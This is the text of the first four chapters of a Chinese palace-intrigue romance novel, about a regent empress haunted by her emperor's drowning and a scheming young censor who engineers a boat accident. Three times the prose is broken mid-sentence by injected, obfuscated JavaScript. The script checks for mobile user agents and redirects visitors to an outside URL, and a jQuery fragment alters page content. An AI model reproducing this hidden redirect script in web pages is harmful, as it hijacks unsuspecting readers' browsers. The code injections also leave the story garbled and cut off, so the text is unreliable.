《权臣与我神合貌离》 1. 第 1 章 春三月,上巳日。 重逢佳节,折杨柳,沾清露,祓禊去灾。 长安城中热闹非凡,有临水绛浮枣,曲水流觞。 男女相会,互赠芍药,以示情长。 少年帝后鸾凤和鸣,于万民瞩目中,携手登舟临水。 曲江池畔,华灯初上,百姓欢声盈耳,只待帝后执手,共洒清露,泽被四方。 然而月明星稀,本是晴夜,江上却突然起了雾,白茫一片,人声似也被阻隔在外,世间瞬时安静了下来。 在静谧茫茫之中,立于江心行舟之上的上官栩也变得有些迷茫,她不禁转头,想去寻身侧之人的身影,但不知怎么,明明二人离得那般近,却在一片朦胧下根本看不清他的面容。 双手相握,指尖触碰到的温度渐冷。 “船舱漏水了!船底破了!” 突如其来的大喊声打破一切沉寂,周遭开始混乱,喧嚣得仿若一下被拉回尘世。 船体倾斜,瞬间栽入曲江之中。 “景哥哥!” “嗡”的一声,四周的水向全身压来,压力和冰冷迅速袭向全身的每一寸肌肤,窒息带来恐惧。 上官栩努力克制住一切,不顾江水寒凉刺眸地睁开眼。 她听见外面人群嘈杂的慌乱声,摒弃掉所有杂念,竭力屏住呼吸,就想着一件事—— 伸出手去拉住刚才的身侧人。 龙袍华贵,大袖浸于水中丝滑如流,随着暗波摇曳,袖间的金丝反出压抑的光。 眼前的人同样伸着手,袖袍挡在身前,有成片的血色在水中漫开,上官栩依旧看不清他的面容。 可是比起这些,她现在更想拉住他,拉上他的手,不再让他被暗流卷走。 然而无论她如何努力,他的手浮在眼前,一动不动,她都只能勉强勾住他腕上的那条红绳。 水影陆离,她清晰地感觉到他正在离她而去,指尖勾住红绳,她无论如何都向下不得,哪怕崩溃至极,心中恳求地喊了无数次“别走”,留住的终究也只有这腕间细小的一物。 红绳勾在指尖,渐渐将身影圈入。 看着他沉底,看着他远去,上官栩呜咽难语,泪水被江水挤在眼眶内,痛苦不堪。 为什么! 又一次,又一次没有拉住你…… —— 已经数不清是第几次,还是第几十次了,上官栩又被自己眼角的酸意涨醒,耳边的发丝也湿了一片。 一直守在前殿的贴身女官青禾端了一盆温水进来,投了手帕,拧干之后捧给她:“娘娘又梦魇了?” 应是刚才上官栩在梦中时又喊了几句话出来,声音传到了外殿教人听见了。 然而上官栩并没有说话,只低垂着眼眸,呼吸轻微,抬手用指尖拂下存在眼角的泪珠,拇指再轻轻按上去。 她的目色淡然又麻木,看着泪珠在指尖拈弄下被顺着指腹往掌心碾破,风一吹,便泛起一阵凉意。 上官栩睫毛闪了一下,这才轻声说道:“他还是不肯见我。” —— 昭帝周景知,庄帝第六子,也是庄帝的嫡次子。 怀太子早殇,昭帝又是庄帝中年才得的最小的一个皇子,所以自幼就被寄予厚望。 昭帝四岁被封为太子,十岁开始理政,虽然登基时才十三岁,但在位期间却平了梁王之乱,护住了大晋安宁,又重视吏治,轻徭薄赋,国力不断壮大。 昭帝一路走来可谓传奇,世人皆评其有明君之相。 然而这一切都在熙宁七年,他即将亲政的那一年的上巳夜戛然而止。 “景哥哥,上巳日,杨柳沾露,祓禊去灾。” 清亮的水滴洒在脸上,少年帝王下意识闭上了一只眼,笑着偏头躲避了一下。 日光透过水珠,愈发暖黄,柔和地映在少年人的脸庞上,衬出他独有的温润气质。 这是她自小的心上人,现在也是她的郎君,她的陛下。 上官栩不由得笑意更甚,将柳枝横转递给了他。 而他一贯温和,并不在意脸上残留的水珠,只笑中带着宠溺,轻柔地接过她手中的柳枝。 上官栩见他执杨柳的手抬起来,阖上眼,清甜婉约的笑意挂在脸上,等着他的动作。 感受到挂在柳枝上的露水轻轻点在了自己的额头上,身前的少年帝王随后对她温声说了句:“祓禊去灾,顺意长乐。” 三月上巳,春和景明,沐兰汤,游春夜,祈福安康。 然而下一刻,曲江之上突然起了一阵风,船体骤然一斜,霎时间,整座游船上下倒置。 帝后同时落水,岸边立时惊呼一片,围在周边的禁军如离弦之箭般纷纷跃入水中施救。 熙宁七年三月初三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“娘娘。”青禾到了侧室门口向她轻唤。 上官栩转过头去。 青禾垂眸道:“御史台的徐大人来了。” 2. 第 2 章 立政殿内,青年官员着一身深青色官袍,头戴黑色幞头,巾角软垂,却并不晃动,日光透过窗棂洒入殿内,细密的浮尘悄然飘过眼睫,他姿态极好,等待太后的接见。 立政殿本应是皇后住所,但当今皇帝还尚年幼,不仅没有皇后,就是平常政务也需要人代理,上官栩作为其名义上的母后,行垂帘听政之事,立政殿又离前朝更近,她便一直住在了这里。 上官家在庄帝执政期间在朝堂上就有着举足轻重的地位,而上官栩以前虽天真烂漫,但也并非不通世事,相反那些权衡之术、周旋之道,她耳濡目染,学得极好,只是年少时被包围呵护,未有展露罢了。 如今摄政三年多,她不仅在处理前朝政事上行云流水,有了自己的一套独特手段,更是铸就出了一副足够令人敬畏的气场。 还真是变了许多。 青年抬眸一瞬,将她如今的神态尽收眼底。 上官栩自侧室里步出,抬眼瞧过去,正好对上了这一瞬。 然而青年官员却并没有因此收回视线,反是在与她目光交汇后,似笑非笑地眼睫微垂一下,如颔首回应了她一般。 君臣有别,就连臣子与皇帝说话时都需要严格把控与皇帝间的对视次数,更莫说面对太后这样的后宫女眷了。 君臣之礼,男女矩度,青年官员如此行径,实在失礼。 忽然想起,此前在皇帝接近各进士的杏园宴上,他就曾用这样的眼神看过她。 上官栩由此虚了虚眼眸,神情有些冷,不过当下尚还在行进中,她便先回过头去看路,暂时没去管这个。 “臣徐卿安,恭请殿下金安。” 虽有对视,但时间并不长,青年官员在行礼一事上还是做得及时。 上官栩到了位置坐下:“吾安。” 殿中之人立直身子,抬起脸,面泛微笑,再度拱手恭敬道:“殿下安排臣去做的事情如今已经大致差不多了,案中一干人等全部依律处置,只待文书理好,刑部那边复核就会通过,绝不会有漏网之鱼。” 青年声音温和,话中的意思却带着肯定和冷绝,与他现下的神情并不太符合。 上官栩望着他投来的目光,扬了扬下巴:“徐卿不愧为春闱铨选的双元之才,处理起事情这般利落,倒比我想得要快一些。” 徐卿安垂眸:“不敢担殿下夸奖。” 两人之间静了一瞬,上官栩眼角笑意渐消,而青年人抬眼后依旧眉眼含笑。 上官栩不禁将视线多在他身上停留了一会儿。 这个人很奇怪,不仅不避讳她的目光,还总是含笑而视,不过上官栩能感觉出来,他不是在对她笑,他只是在以一种放松的姿态来面对她。 这是为什么? 当真是新人入官场,不知天高地厚? 上官栩想了一瞬,随即又释怀地笑了下—— 她用他不正是因为看上了他这点么,既然如此,还纠结什么? 她收回视线,拂了拂袖:“事情做得不错,可想要什么赏赐?” 徐卿安谦逊道:“为殿下做事是微臣之幸,不敢求赏。” 上官栩说道:“既然是我开口说要赏,你便不必推辞。” 二人的目光再度交汇在一起。 殿中的青年勾了勾唇,拱手道:“那臣便求一个日后能够多为殿下奔袭的恩赏吧。” 这话说得既像只是句客套话,又像是在求重用。 不过不管是哪种情况,对于他现在这种身份倒也都符合。 初入官场难免战战兢兢,却又压不住内里的野心,想要抓住一切机会往上爬。 上官栩忖了片刻开口道:“自然。徐卿大才,我自然是不愿让明珠蒙尘的。” “年关将至,上元夜我与陛下要亲至昆明池,登舟同万民祈福,这案子之后礼部会缺人,你就先去顶上吧。” 徐卿安依旧唇尾含笑:“臣领命。” 一切事宜都安排得差不多了,上官栩让殿中的官员退了出去。 站在一旁,目睹了刚才一切的青禾望着那人的背影消失在殿门拐角后不禁问道:“娘娘真的要打算继续用他么?” 上官栩收回刚才的冷然,打趣道:“怎么?双元之才还入不了你的眼?” 青禾笑了笑:“才华自是够的,只是娘娘也说过用人不能只看才华,不是么?” 上官栩知道她指的是什么,目光温和道:“所以才让人去查了他的底细。”她问,“怎么样,东西送来了么?” 青禾回道:“刚好今日到的,那时您正在午憩,便没打扰您。” 青禾将东西拿了过来,递给了上官栩:“这是去扬州搜寻到他自小到现在的所有经历。” 徐卿安,字晏容,扬州人士,平佑三年春闱状元兼铨选第一,现任御史台监察御史。 上官栩与徐卿安相见的第一面是在今年春闱之后的杏园宴上,彼时,她作为接见新科进士的太后坐在高座,他作为新科状元站在堂下。 一如今天这般,他抬眼望着她,眸若秋水,眉如春山,丝毫不避讳她的目光。 她与他相视片刻,只觉他周身气质温和却冷,一种说不出的奇怪感觉。 如往年一样,上官栩问了进士们以后的抱负和打算。 而他给出了与今日在殿上相似的回答—— “臣只愿为陛下和殿下尽心。” 虽说如今朝堂势力复杂,但这句话在旁人听来也不过就是一个初出茅庐的新秀说的场面话罢了,算不得什么党羽依附。 不过上官栩却记在了心里。 十月铨选,长安城里就起了一阵波澜—— 铨选是所有进士考取为官资格的考试,难度比春闱更大,可今年却出了一个数十年难得一见的春闱铨选双元之才,一时之间,风头无两。 而不久,这位双元之才就被授官为监察御史,并且立马被要求投入到了一桩涉及官员贪腐受贿的案子中。 也就有了今天的这次见面。 上官栩将手中写完徐卿安生平的册子看了个遍,淡声道:“他竟是张凡的学生。” 大晋中书门下行群相制,现有五位宰相,张凡为其中之一,在中书省任职,也是扬州人士。 大晋有“扬一益二”一说,即东南的扬州,西南的益州,在当地有极为重要的经济地位。 扬州多文人,几乎每年进士名列都有扬州学子,所以徐卿安和当朝相公是同乡,并不值得让人多去关注。 上官栩忖道:“他既是张凡的学生,可是为什么之前并没有听说过二人有交集的任何消息,甚至他行卷也不是找的张凡吧。” 青禾回道:“是,之前查过,他行卷投的是吏部侍郎门下,而那位吏部侍郎和张相公私下来往也并不多。” “或许是他们师生之间闹了矛盾,这才保持了距离?”青禾猜测道。 上官栩把册子一下放下,不以为然道:“让人继续盯着他们,张凡这个人恬淡寡欲,和而不争,我不信他们会闹到这个地步。” —— 张凡,名平,字凡,庄帝在位期间的进士,二十多岁时就过了春闱,也算青年俊秀,但从进士到通过铨选,最终拿到为官资格,他却用了十二年。 也是在那些年里,他在扬州收了几个学生。 乌皮靴踩在地上,青石路上脚步声回荡,往上,直缀长袍随脚步摇曳,大袖垂在两侧,在行进中微拂,袖袍丝质如瀑一般,潺潺细腻。 冬日多雪,来人在游廊下行走,从屋檐往下看,只见深灰色长袍款款,腰间佩饰摇摇,白雪皑皑,与瓦檐一起,遮住了廊下人的面貌。 顺游廊一路拐进内院,到了一扇房门前,手一推,跨过门柢,来人径直走了进去。 屋中生了碳炉,院外的飞雪在房门开启的一瞬被吹进些许,飘扬数息,落到地上,但也不过化作盈盈水迹,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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张凡担忧道:“这样的话,等最后刑部复核完,将文书呈上去时她看见名单后会不会反悔?” “案子都定下来了哪能她说不就不?”徐卿安笔尖沾上墨,重新开始书写,“况且这案子里遭殃最多的还是苏党,她应该不至于为了那一两个人因小失大吧?” “还有,她汲汲营营这么多年,就算不顾及其他的,名声总要保住吧,证据确凿的案子她要反悔,岂不毁了她的贤名?” 当世贤后,正位内朝,盛德天下。 徐卿安不由得嗤了声。 张凡道:“我只是担心您这样做了,她以后会对您不利。” 徐卿安哂笑道:“张公就把心放下吧。” “上官氏的人被卷入这桩案子里虽说是我特意为之,但那两人到底明面上和上官氏相交不多,我一个初入官场的新人哪里会了解这些盘根错节的关系?不过就是一时撞上了,才把他们一起查了出来而已。” “再者说了,也是她让我从严秉公办理,我既照着她的意思来,她凭什么怪我?” 虽有些耍浑,但话却说得在理,张凡便松口气:“您有打算便好。”又道,“眼下看来,太后终于坐不住,要对苏相下手了。” 徐卿安笔下动作行云流水,语气不阴不阳:“分赃不均呐。” “此事之后,她安排我去协助礼部筹备上元节登舟祈福的事宜,若我没记错的话,长安已经许久没有办过大型的临水祭祀活动了吧。” 准确来说,是从熙宁七年三月初三起就没举办过了。 徐卿安记得这天日子。 张凡点头:“据说这次祈福也是太后和苏相商量了许久才定下的,只是不知地点在哪儿?” “曲江?” “昆明池。” 徐卿安随即冷声:“他们怎么敢去曲江呢?” 也不知午夜梦回之际,去到曲江时,他们心底可曾有过一丝不安? 应当没有吧,他们这样的人,哪会在意他们权力攀登路上死在他们手中的冤魂。 “这件事情不会简单。”徐卿安说道,“她才让我为她办了这种拿苏党开刀的事,不会就这样放我去做闲差。” 他气息忽颤一瞬,咬牙道:“她一定会,将我,利用到极致!” 3. 第 3 章 按理说,上元祈福一事应属祭祀这一项事宜,自然也就归礼部管,然而这段时间礼部的人手确实是不太够。 一是之前有桩案子牵扯到了礼部的官员,一时间礼部就空出了几个位置,其实这样也还好,不至于就说缺人手。 然而就在这桩案子之前,礼部侍郎苏尚,持节去了大晋属国西燕出使,那时便带出去一波人,而上元祈福又是岁时重典,一切相关事宜马虎不得,礼部那边人手自然就不够了。 监察御史官阶虽低但权力却大,素有“小宰相”之称,徐卿安去了礼部,更多的其实也行的是监察之权,所以许多时候礼部的人也要敬他三分。 徐卿安是太后直接派去的,自然就需时常向太后汇报典仪的筹备进程。 上官栩听完徐卿安汇报出来的章程,没说什么话,方只问了一句:“我与陛下会在游船上待多久?” 徐卿安如实道:“算上巡游,约莫半个时辰。” “巡游就免了罢。”上官栩头也不抬地说道,“上元天寒,陛下还小吹不得风,祈福之后就安排下船罢。” 察觉到殿下的人沉默了一瞬,上官栩抬眼迟疑道:“怎么了?是觉得我这样安排有什么不妥吗?” 徐卿安立马拾回笑拱手道:“殿下考虑着陛下自是更为妥帖,臣这就去礼部转达殿下的意思。” 上官栩“嗯”了一声。 青禾这时从殿外回来,俯身到上官栩耳侧说了句:“娘娘,大郎君来了。” 上官栩的长兄上官栎。 上官栩便向殿中的人道:“行了,你便去忙自己的吧。” 徐卿安领命:“臣告退。” 转身离去时,殿外的人刚好进来,两人靠近,徐卿安拱手浅浅行了个礼,来人也随和地回了礼,随即又分开。 “娘娘。” “阿兄。” 擦肩而过不久,身后就传来上官栎见礼和上官栩走下尊位相迎的声音。 她走到了殿中位置。 徐卿安脚步忽地一顿,身侧的拳头莫名攥紧,眸色变沉,加快了离去的脚步。 这边,上官栩邀着上官栎到殿侧的位置上并坐,又似嗔怪道:“阿兄总这样,一口一个娘娘地叫我。” 上官栎温声劝:“刚才有外臣在。” 宫女端了宫中的茶点上来,摆在了二人中间的桌案上。 茶是时下最好的蒙顶甘露,糕点也是上官栩特意嘱咐过的,上官栎偏爱的那几种。 宫女将东西放好后,上官栩先抬眼瞧了青禾一眼,青禾便了然地遣了殿中的众人下去。 上官栩这才道:“我知道阿兄在忧心什么,可是你想得太远了,且不说依你现在的官位达不到外戚专政的程度,就是如今我这个垂帘的太后也做不了一拍板的决定啊。” “所以这就是你向苏相下手的原因?”上官栎蓦地问道。 如今朝堂上大致分为三派,除去人数较少且较为中立的散派外,就是以苏望,也就是苏相为首的苏党,以及以上官栩为首的上官一党。 后面两党党首,一个是庄帝钦点的辅政大臣,一个则是有着皇帝母后名号的垂帘太后,如此身份,自会相斥相争。 然而其实苏家和上官家也算是世交。 除却上官栎娶了苏望的长女为妻外,苏家前任家主苏瑜与上官栩的阿爹上官适还同为庄帝的伴读,三人少时一起成长,早年还谱写过一段君臣佳话。 只是可惜苏瑜早逝,苏家的担子便由他的三弟苏望挑了起来,而后面庄帝崩逝,上官适做了两年托孤大臣之后也跟着病逝,这才有了如今的局面。 苏瑜和上官适都是英才,仁民爱物,流化四海,所以如今的苏党和上官党在德行底蕴上不相上下,只是到底苏望更为老成,早早入仕占了许多先机,便让如今的苏党在势力上压了上官栩一头。 然而上官栩现在要动他不只是想要他的权,权力只是他们之间最小的一个争端。 上官栩抿了一口茶,说道:“考虑到阿兄身份不便,所以这件事情没有提前与阿兄说,阿兄今日来找我就是想与我说这事么?” 到底家中有个苏家的嫂子,有些事情总得顾及些。 上官栎轻声:“我只是担心你这样做是不是太着急了,我怕他到时反应过来对你下手。” “事情又不是我做的,他对我下什么手?”上官栩话语轻松却又有底气道,“再说了,那案子里不也有两个是上官氏的人么。” —— 徐卿安去了礼部,将上官栩的话传达了下去。 负责此次上元祈福的官员道:“不巡游?可是这样的活动,百姓齐聚,就是想一睹天家容颜啊。” 徐卿安乜眼过去,冷冷道:“太后娘娘只说了不巡游,又没说祈福的时候船一定要停在岸边。” —— 立政殿内,上官兄妹说完话,先后起身,上官栩本想相送一段,然而上官栎却直接转身作别,她心知他的顾虑,也拗不过他,便随他去了。 人走之后,青禾过来道:“大郎君还是同往常一样支持娘娘的选择,只是难免担心娘娘受到伤害罢了。不过奴婢也想问,娘娘接连给那位徐御史布差,他真的值得娘娘重用么?之前那桩案子他不还牵扯了进了大郎君手底下的人么?” 上官栩勾了勾唇,不以为意道:“算不上阿兄手下的人,不过前些年受过阿爹的点拨,后来便每逢年节多有问候罢了,其实来往得并不多。这案子揭露前,阿兄也没想到这两个人这几年竟走了歪路,所以他觉得现下这样也好,也算清理了门户。” “而同时,在外人看来,就像你想的那样,这案子和我们上官氏也有关,那我就应该不至于对自己人下手吧。” 青禾点头:“如此,苏相也没理由把这件事情怪到娘娘头上来,看来,那位徐御史还歪打正着了。” “歪打正着?”上官栩端起杯,品了一口还未凉透的茶水,说回刚才青禾的问题,“起码到现在为止,我还没想过要重用他,只是现下有些事情、有些罪需要有人帮我去做、去受,而如今又恰好有那么一个人乐在其中,我自然就却之不恭了。” —— 铨选出结果当夜,徐卿安曾被人带走,于一僻静处见了一个人。 “太后娘娘。” 上官栩提前到了房中等候,待到徐卿安来行礼时,她才转过身,屋内明明灭灭的烛火将她羃??下的面容勾勒出来,婉约如雪莲,同时又带点冷。 上官栩听见眼前人微惊的声音之后轻笑一声:“徐卿很意外?可这难道不正是你所想的吗?” 她将往事娓娓道来:“杏园宴上,旁人作诗都以山河牡丹为题,偏你要选什么蝴蝶,还说蝴蝶于你,一枕香迷,能缓诸多往事苦情。” “一枕香迷,蝶栩向西园,余情更苦[1]。你用了《玉京秋》里的这句词,却只说前后不说中间,意欲何为?” “是因为其中有我的名字吧?”上官栩虽问却自答,幂离下的眼神愈发凌厉,“你不说并非是想避讳,而是想让我注意到你跳过了这一句,后来你又作什么‘愿随蝶影同风起,不负青云携梦来’。” “怎么,徐卿是自认自己有凌云之才,青云之志,要借吾之风,扶摇直上?” 徐卿安默了片刻,在自己心思被毫不留情戳破的情况下并不否认,反是从容地笑了笑,拱手躬身道:“烦劳娘娘记挂,雕虫小技,让娘娘见笑了。” 说着,他似难为地笑一声:“不过也不怕娘娘笑话,臣不敢自恃有才,臣在杏园宴上作那样的诗其实也不过是想贪求娘娘的几分关注罢了。” “如今看来你成功了。” “是。” 风吹过烛火,上官栩抬了抬下巴,眼底并未因此染上暖意,更没有因为他的坦诚而欢喜:“为什么?你想要什么?” 而徐卿安抬眼,星目含情,直视幂离后的冷眸:“臣在杏园宴上曾说过,臣想为陛下和娘娘尽心。” …… “又在练字?” “对啊,每次进了宫回来都要练一会儿。” “许是静心吧……” 房门外的议论声传入房中,徐卿安从往事中回过神,又看了一眼自己不知不觉写下的文字—— 蝶栩向西园。 竟写了满纸。 他闭目调息一瞬,手一捏,将整张纸都揉成一团,扔进了纸篓里。 “天寒地冻,莫在外吹凉了身子,屋内生了碳炉,快进来吧。”边说他边用镇尺重新压好一张宣纸。 门外进来两人,除了张凡还有一个年轻人。 这次几人都没有再废话,年轻人率先说:“都安排好了。” 徐卿安问:“陛下呢?” “到时会安置好。” “好。” 几人简单地对了对章程,临别之际,张凡却踟蹰片刻,欲言又止。 “怎么了,张公还有什么想说的么?”徐卿安察觉到问。 张凡道:“我想,以后我们还是尽可能不要见面了,若有事差人送口信就好。” 徐卿安停笔:“这是为何?” 张凡道:“在扬州时,我与徐御史是师生,但到了长安我们却刻意隐瞒了这层关系,既然要隐瞒,就不能让人抓到把柄,而且最近这段时间我也觉得我身边似乎多了几双眼睛。” 徐卿安闻言不忧反笑,重新开始书写:“这不正好么?” 张凡不解。 “先生以为我为何要隐瞒我们之间的这段关系?”徐卿安道,“世上本就没有完美之物,与其让他们找到我们的漏洞,不如主动制造一个,把我们想让他们看到的,能够引起他们注意的……” 徐卿安提笔,桌案上笔洗中的净水映照出青年人的模样。 他乜眼瞧过去。 “送到他们面前!” 狼毫投下,瞬间,水面漫开一片墨黑。 —— 岁逢上元,瑞彩盈天,万民同游,福泽延绵。 上官栩携幼帝和群臣至昆明池畔。 百官的位置都按爵位品阶排列,而站在太后和皇帝旁边的,就是那位权倾朝野的苏相,也是当朝三公之一的苏太尉。 苏望来时,上官栩还客气地与他互打了招呼。 “臣请陛下、殿下安。” “苏公无需多礼。” 二人虽然暗地里相争,但表面功夫却做得极好,加之上官栩又是苏望的姻妹,所以上官栩对他还多有几分晚辈之礼。 上官栩关切道:“近日天气虽然好些了,但到底还未出冬,夜间风寒,苏公可得注意保暖。” 苏望谢道:“有劳娘娘挂怀,昆明池上水雾更重,娘娘和陛下也要多保重才是。” 上官栩别有意味地笑了笑,转过头看向前方、一会儿要登临祈福的游船:“仪式结束就回宫,耽误不了多久。” 徐卿安作为负责此项事宜的监察御史,被上官栩让人调到了前面来,一会儿他也要与她一起登船,协助主持祈福。 “臣请太后娘娘安。”徐卿安来了前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15715871|173704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 列。 上官栩问:“都准备妥当了么?” 徐卿安恭敬道:“游船上有关祈福的东西都已备好。” 上官栩“嗯”一声。 一旁苏望观望片刻后开了口:“徐大人果然是青年俊秀,先是夺得双元,如今任职不到三个月又接连办成两件大事,实在是后生可畏,让老夫佩服啊。” 上官栩知道苏望这话里想说的是那桩案子,虽然那里面折的那几个人不至于让他元气大伤,但到底这么多年来还没人敢动到他头上,他这话上明面赞扬,却不知底下藏了多少威胁。 徐卿安作为一个正八品的监察御史也不知受不受得住一个三公首相的威吓。 然而上官栩没有说话,她也想看看徐卿安的反应。 徐卿安向苏望颔首:“承蒙相公夸赞,下官许多事情做得还并不成熟,不过是依律行事,尽心而为,相公德高望重,既是国朝柱石,亦是百官楷模,下官愚笨,日后还得多向相公学习才是,还望相公勿怪。” 语气谦逊,话里话外透着平和,关键是最后那句勿怪,也不知到底含了几层含义。 勿怪愚笨?还是勿怪他之前做的那些事? 倒是挺会周旋。 上官栩挑了挑眉,内里暗叹,但也因此对他立场生了几分怀疑。 几人你来我往的说了几句后,徐卿安便提醒到时辰了,该登舟祈福了。 水声潺潺,夜风轻拂。 上官栩牵着幼帝一起,踩着栈桥,登上了游船。 到了船头、摆放祈福灯烛的香案前,栈桥被撤走,游船开始划行。 上官栩立马回头,向徐卿安轻声质问:“怎么回事?” 徐卿安温声道:“礼部那边认为百姓今日齐聚昆明池就是想一睹娘娘和陛下的容颜,所以祈福会在划行中进行,娘娘放心,仪式一结束,船就会靠岸,不会让您和陛下多受寒风。” 如今船已出行,若是倒转回去反是容易被人看出问题。 既然下船的时间差不多,无妨,无论怎样,今夜的结果都一样。 思及此,上官栩的神色柔下来:“那便快开始吧。” —— “今值上元,万民同在,朕深感天地之恩,生民之托,特率百官于此,共祈上苍垂慈,后土庇佑,护我大晋风调雨顺,国泰民安。” 幼帝在上官栩的带领下说完祈福语,又在所有人的注视下,将香插入了香炉。 至此,事毕,百姓兴声齐呼。 然而这时船舱下突然来了人,焦急地跑到了徐卿安身边低语几句。 徐卿安听完之后蹙眉道:“当真?” 他先问:“可还能修补?亦或撑回岸边?” 船舱漏水了,水流还不小,幸好今夜无风,不至于将船掀翻。 然而徐卿安得到的答案是:难。 很难修补,也很难撑回岸边。 昆明池由人工开凿,引沣水、潏水、滈水而成,再引出至漕渠。 如今百姓站一边,百官站一边,游船一路巡行,正对向无人、引往漕渠的那侧。 游船前端比中段高出几个台阶,已通过百姓瞻仰的位置,上官栩便在此时准备下来。 徐卿安沉吟片刻,在她走到楼梯中间时赶了上去:“娘娘,船舱漏水了。” 上官栩却沉静道:“让人护好陛下,加速把船划回去。” 徐卿安点头:“已经吩咐下去了。” 徐卿安的位置比上官栩矮两个台阶,上官栩闻言顿了一顿,借着地势,不禁从上往下睨向他。 他亦仰脸望着。 二人对视,一切似乎变得宁静,更别说什么脚底下的船舱正在渗水。 这一面光线较暗,她的身躯更挡下他身前大半的烛光,让他有半侧脸都隐在昏暗中,而他就这样回望着她的眼。 上官栩这样并不真切地看着,竟忽然勾了勾唇,在此时开起了玩笑:“徐大人可真是成大事的人啊,如此情况下竟也能处变不惊。” 跳动过来的烛光恰好将徐卿安一侧的笑映衬了出来。 他不紧不慢地说:“娘娘不也是么。” 可话刚一落,船身忽然开始剧烈晃动,徐卿安一改刚才镇定,大呼道:“娘娘小心!” 突如其来的左右晃动,让上官栩在本就狭窄的台阶上更加施不上力,失重感也加剧,偏徐卿安在她身前,她又下去不得。 船上也喧闹一片,上官栩来不及去想船为何这样剧烈地晃动,只在求生的本能下抓住身旁唯一固定的栏杆。 然而下一刻一支长臂却圈了上来,大掌抚在腰上。 上官栩被不属于自己的温热和力量一箍,俯眼瞧了一眼,对眼前这个大胆的青年呵道:“你做什么!” 徐卿安却似并未察觉她怒意一般,反而更加圈紧了她:“娘娘抓稳!” 再一下陡然的摇晃,在船栏边的两人被齐齐晃出游船。 咚的一下,掉入水中。 …… 水面一阵涟漪,船身渐稳,终是在最后关头驶到了最近的岸边。 徐卿安拉着上官栩从水里游了出来,带着她回到了岸上。 浑身都被水浸透,衣衫变得有些重,上官栩气喘吁吁,上岸后一下跌坐到了地面。 徐卿安忙蹲下关切:“娘娘您没……” “啪”的一声! 突然一下,上官栩抬手一巴掌甩到了徐卿安脸上。 “你放肆!” 她双目圆睁,怒不可遏。 4. 第 4 章 那巴掌力道很大,徐卿安一下被打偏了头,连带着残留在发丝上的池水都被甩了出去。 徐卿安将手慢慢抚上去,舌尖在里顶了顶,唇角噙起一抹几不可察的微笑。 片刻,他才回头,目色无辜又带着请罪的意味:“娘娘,您这是?” 上官栩颤着声怒斥:“谁让你把我带到这儿来的!” 上元时节,天还未完全回暖,现下又是夜里,这样浸一次水,上官栩浑身上下都止不住发颤。 她额前凌乱地贴了几缕头发,长睫也还挂着水珠。 然而偏她如此这般红了眼眶的模样,虽是在发怒,却没了平常时分的利气,倒像是她以前在中宫时的样子。 就像那年上巳日,拂杨柳的女郎。 徐卿安望着这样的她,心头忽然一凛,然而眼睫一颤之后,眼神愈发委屈地说道:“刚才娘娘落水,臣担心娘娘安危,只能先往最近的岸边游啊。” 昆明池虽是人工挖凿而成的,但面积却不并不小,如今他们这个位置已经在禁军设控的范围外了,就是连游船停靠的位置也离他们有段距离。 不过本来守卫在游船上的羽林卫反应也快,见到二人从水里出来后就立马跳下船,飞奔了过来。 徐卿安望了一眼奔袭在路上的羽林卫,再垂首道:“刚才在水里臣见娘娘姿态似乎不会水,所以臣便擅作主张,将娘娘往这一处带,还望娘娘恕罪。” 她扇他一巴掌,又用话斥他,那表现出来的意思无非就是在恼他在水下时的动作罢了。 恰在这时,羽林卫也都赶到。 为首的先拱手请了罪,然后再问上官栩是否安好。 上官栩现在神情已没刚才激动,只声音依旧有些虚浮的:“我没事,陛下怎么样?” “陛下无恙,现在身边也有人守着,娘娘放心。” 青禾脚步没有羽林卫那般快,现在才赶过来,她手中拿了件毛领斗篷,到了上官栩身边就为她披上。 “娘娘……” 青禾的眼神和语气中都透着担忧,在她的手到身前时,上官栩一把按住她的手腕,抬眼望向她。 二人对视上,各自心领神会。 上官栩挤出笑道:“我没事,不用担心,只是现在有些冷罢了。” 青禾点头,将人扶起,向跟随她而来的两个宫女吩咐道:“池水寒凉,快去带娘娘更衣,姜汤也让人准备好。” 宫女领下命,从她手中扶过上官栩。 徐卿安也同时跟着站起来,他的目光落在几人间,看着她们的动作。 待人走之后,青禾转过身向他道:“娘娘怕水,今夜多亏徐大人了。” 她看了眼他红痕明显的脸颊,又道:“药膏一会儿就送来,只是夜风寒重,徐大人浑身又被浸湿,便也早些去换身干净的衣服吧。” 说完,青禾微微欠身,向他告退。 徐卿安拱手回礼后留在原地,想着刚才青禾说的话,思绪尚还没回来。 他垂眸一瞬,望向了远处上官栩的背影。 她怕水么? 什么时候的事? “徐大人,岸边起风了,我们还是先回礼台那边吧,那儿应该也有多余的衣物供大人御寒。” 身旁的羽林卫开口提醒后,徐卿安方才回过神,收回视线转过头向他一笑:“好,有劳相陪了。” —— “船舱漏水了!船底破了!” 上官栩和身侧的少年帝王站在一片混乱之中,脚下船只晃荡。 “栩儿!” 少年帝王一手揽住她的腰,一手握住她的手腕,将她紧抱在怀里。 “别怕,不会有事的。”他的声音自她上方笼下。 突如其来的剧烈晃动让上官栩的脑子有些晕,可是她被这样拥在怀里,感受着他带给她的温暖和与之相随的安全感,便也觉得一切都不那么可怕了。 她被他拉过,脸埋在他的肩膀前,更紧密地抱着,身后是他轻柔且安抚触摸,她缓过劲来,慢慢抬眼往外看去。 甲板上,所有人都因这巨变慌了神,就是台下的禁军也没有一下反应过来。 